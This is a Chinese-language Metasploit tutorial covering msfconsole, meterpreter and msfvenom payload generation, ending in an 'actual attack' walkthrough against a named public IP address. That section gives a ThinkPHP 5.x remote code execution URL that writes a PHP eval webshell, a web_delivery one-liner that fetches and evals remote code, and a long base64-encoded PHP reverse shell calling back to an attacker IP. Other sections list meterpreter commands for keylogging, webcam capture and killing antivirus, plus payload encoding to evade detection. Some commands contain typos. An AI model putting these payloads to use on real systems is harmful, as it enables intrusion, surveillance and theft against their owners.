Metasploit简介
Metasploit 是The Metasploit framework的简称,框架由多个module组成
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的漏洞,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
Kali-metasploit框架目录路径:/usr/share/metasploit-framework
Metasploit目录
data
:包含
metasploit
用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation
:包含框架的可用文档。
lib
:
metasploit
的库文件夹。
plugins
:用来存放
metasploit
的插件。
scripts
:用来存放
metasploit
的脚本,包括
meterpreter
及其它脚本。
tools
:存放多种的命令行实用程序。
modules
:存储
metasploit
的模块文件。
Modules目录
Msf所有的漏洞测试都是基于模块
auxiliary
:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
exploits
:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命 名规则:
操作系统
/
各种应用协议分类
payloads
:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹
shell
的代码
post
:后渗透阶段模块,漏洞利用成功获得
meterpreter
之后,向目标发送的一些功能性指令,如:提权等
encoders
:编码器模块,主要包含各种编码工具,对
payload
进行编码加密,以便绕过入侵检测和过滤系统
evasion
:躲避模块,用来生成免杀
payload
nops
:空指令就是空操作,提高
paylaod
稳定性及维持大小
Metasploit模块使用
Msfconsole
Msfconsole是Metasploit框架用户接口,我们能通过Msfconsole接口使用Metasploit中所有模块
Msfconsole主要用于:
1.管理Metasploit数据库
2.管理会话
3.配置启动Metasploit模块
启动方式:
kali终端输入:
msfconsole
kali-metasploit更新:
msfconsole -v #
查看版本
apt-get update
apt-get install metasploit-framework
msfconsole基础使用
help
:该命令允许用户查看执行命令的帮助信息。
use module
:该命令允许用户加载选择的模块。
set optionname module
:该命令允许用户为模块设置不同的选项。
run&exploit
:运行一个模块
search
:搜索
msf
中相关组件
exit
:该命令允许用户退出
msfconsole
。
MSF常用命令
show exploits –
查看所有可用的渗透攻击程序代码
show auxiliary –
查看所有可用的辅助攻击工具
[show ]options/advanced –
查看该模块可用选项
show payloads –
查看该模块适用的所有载荷代码
show targets –
查看该模块适用的攻击目标类型
search –
根据关键字搜索某模块
info –
显示某模块的详细信息
use –
使用某渗透攻击模块
back –
回退
set/unset –
设置
/
禁用模块中的某个参数
setg/unsetg –
设置
/
禁用适用于所有模块的全局参数
环境演练
某天你领导需要你对公司新买的服务器进行漏洞测试
结合metasploit我们应该怎么做?
信息收集
通过nmap对目标进行漏洞探测及端口扫描
nmap
扫描
-T[0-5]
:默认为
T3
,
T4
表示最大
TCP
扫描延迟为
10ms
-sS
:
TCP SYN
扫描
-sA
:
TCP ACK
扫描
-sT
:
TCP
扫描
-A
:打开操作系统探测和版本探测。
--script=vuln
:检查是否具有常见漏洞
Auxiliary模块
Exploit模块
Meterpreter扩展模块
Meterpreter介绍
meterpreter是一个高级、动态、可扩展的payload,简单理解是一个高级的CMD,里面封装了Metasploit的
功能
如何进入Meterpreter
background
:将当前
session
挂起
sessions[ -l]
:列出当前所有的
session
sessions[ -i] id
:进入某个
session
如何开启对方摄像头呢???
开启摄像头
开启摄像头需要拥有meterpreter
webcam_list
:查看摄像头
webcam_snap
:通过摄像头拍照
webcam_stream
:通过摄像头开启视频
得到的shell不是meterpreter怎么办??
Shell转meterpreter
sessions –u id:将某个session转为meterpreter
Meterpreter基本利用
上传 执行 下载
execute
:在目标机器执行文件
创建新进程
cmd.exe
,
-H
不可见,
-i
交互
Upload:
上传文件
Download:
下载文件
Meterpreter常用命令
meterpreter > background
放回后台
meterpreter > exit
关闭会话
meterpreter > help
帮助信息
meterpreter > sysinfo
系统平台信息
meterpreter > screenshot
屏幕截取
meterpreter > shell
命令行
shell (exit
退出
)
meterpreter > getlwd
查看本地目录
meterpreter > lcd
切换本地目录
meterpreter > getwd
查看目录
meterpreter > ls
查看文件目录列表
meterpreter> keyscan_start
开启键盘记录
start
改为
stop
则为关闭
meterpreter > cd
切换目录
meterpreter > rm
删除文件
meterpreter > download C:\\1.txt 1.txt
下载文件
meterpreter > upload /var/www/wce.exe wce.exe
上传 文件
meterpreter > search -d c: -f *.doc
搜索文件
meterpreter > execute -f cmd.exe -i
执行程序
/
命令
meterpreter > ps
查看进程
meterpreter > getuid
查看当前用户权限
meterpreter > run killav
关闭杀毒软件
meterpreter > run getgui-e
启用远程桌面
Msfvenom生成Payload
Msfvenom
msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一
个框架实例中。
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,获得meterpreter
Msfvenom常用参数
-p
:
--payload
,指定特定的
Payload
,如果被设置为
-
,那么从标准输入流中读取。几乎支持全平台。
-l
:
--list
,列出所有可用的项目,其中值可以被设置为
payloads, encoders, nops, all
-n
:
--nopsled
,指定
nop
在
payload
中的数量
-f
:
--format
,指定
Payload
的输出格式(
--list formats
:列出所有可用的输出格式)
-e
:
--encoder
,指定使用的
encoder
-a
:
--arch
,指定目标系统架构
--platform
:指定目标系统平台
-s
:
--space
,设置未经编码的
Payload
的最大长度(
--encoder-space
:编码后的
Payload
的最大长度)
-b
:
--bad-chars
,设置需要在
Payload
中避免出现的字符,例如:
’\0f’
、
’\x00’
等
-i
:
--iterations
,设置
Payload
的编码次数
--smallest
:尽可能生成最短的
Payload
-o
:
--out
,保存
Payload
到文件
Msfvenom生成windows可执行程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5445 –e x86/shikata_ga_nai
–i 8 -f exe -o hello.exe
X86/shikata_ga_nai
是指定对
shellcode
的编码方法,编码随机生成
-i 8
是指定编码次数
Msfconsole开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.40.132
msf6 exploit(multi/handler) > set lport 5445
msf6 exploit(multi/handler) > run
Msfvenom生成web payload
php
:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw >shell.php
asp
:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>
LPORT= <Your Port to Connect On> -f aspx - o shell.aspx
jsp
:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw >shell.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
war > shell.war
web payload如何使用
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.40.151 lport=5000 -f raw –o
/root/Desktop/shell.php
Msfvenom生成脚本payload
python
:
msfvenom -p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>
-f raw > shell.py
bash
:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw
> shell.sh
perl
:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >
shell.pl
脚本payload上线
Stageless&staged payload
/meterpreter/reverse_tcp 和 /meterpreter_reverse_tcp区别
payload分为staged和stageless:
Staged payload: <platform>/[arch]/<stage>/<stager>
Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:
reverse_tcp、 bind_tcp
Stageless payload: <platform>/[arch]/<single>
Stageless Meterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑
在 一起,将完整的payload都编译在木马中,体积庞大
Staged只建立连接并接受payload而stageless之间省去了接受payload的步骤
Metasploit实战攻击
目标站点:
http://47.115.9.13:8081/
利用方式
ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)
http://47.115.9.13:8081/s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://47.115.9.13:8081/s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1]
[]=shell.php&vars[1][]=%3C?php%20@eval($_POST[ccc]);?%3E
如何反弹MSF
方法一:通过web站点,使用无文件的方式攻击利用执行
方法二:通过web站点,上传webshell,返回给msf
反弹shell
利用命令执行漏洞,结合上一章的知识,我们可以怎么做?
php:
msfvenom-p php/meterpreter/reverse_tcp. LHOST=<Your lP Address> LPORT=<Your Port toConnect On> -f
raw >shell.php
asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp. LHOST=<Your IPAddress>
LPORI= <Your Port to Connect On> -f aspx - o shell.aspx.
jsp:
msvenom -p java/isp_shell reverse_tcp HOST=<Your lP Address> PORT=<Your Port toConnect On> -f raw
> shell.jsp
war:
msfvenom -p java/jsp_shell reverse_tcp LHOST=<Your lP Address> LPORT=<Your Port toConnect On> -f
war > shell.war
Web_delivery
当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场
web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如命令注入、远程命令执行等问题时,攻击者可以使用web_delivery生成的一条命令建立连接。
php -d allow_url_fopen=true -r "eval(file_get_contents('
http://192.168.8.186:8080/sOjTAmv
', false,
stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
另外
web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载到内存执行,有利于绕过检测
。
web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target 0或1或2来设置是使用php还是python还是powershell等。
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set uripath /
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 1
msf6 exploit(multi/script/web_delivery) > set lhost 150.158.137.72
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8181/
[*] Local IP: http://150.158.137.72:8181/
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://150.158.137.72', false,
stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
脚本payload利用
Msfvenom –p php/meterpreter/reverse_tcp lhost=<you host> lport<you port> -f raw > xx.php
http://150.158.137.72:8081/?
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20-
n%20Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE1MC4xNTguMTM3LjcyJzsgJHBvcnQgPSA5OTk4Oy
BpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3sk
aXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2
NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYg
PSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0
xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190
eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaW
UoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBi
cmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZS
gpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4o
JGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybG
VuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJl
YWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIC
hleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkg
eyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldm
FsKCRiKTsgfSBkaWUoKTs=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE1MC4xNTguMTM3LjcyJzsg
JHBvcnQgPSA5OTk4OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID
0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nr
b3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaW
YgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNP
Q0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgey
BkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0g
aWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZn
JlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYg
KCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IH
doaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQo
JHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdH
JsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9
ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaX
NhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygp
OyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs=%20|base64 -d > yiye.php
生成linux的可执行文件elf格式
msfvenom –p linux/x64/meterpreter/reverse_tcp lhost=<you host> -p <you port> –f elf –o xx.elf
通过webshell上传可执行文件
msfvenom –p linux/x64/meterpreter/reverse_tcp lhost=<you host> -p <you port> –f elf –o xx.elf
上传至目标运行
更改权限
运行文件,本地监听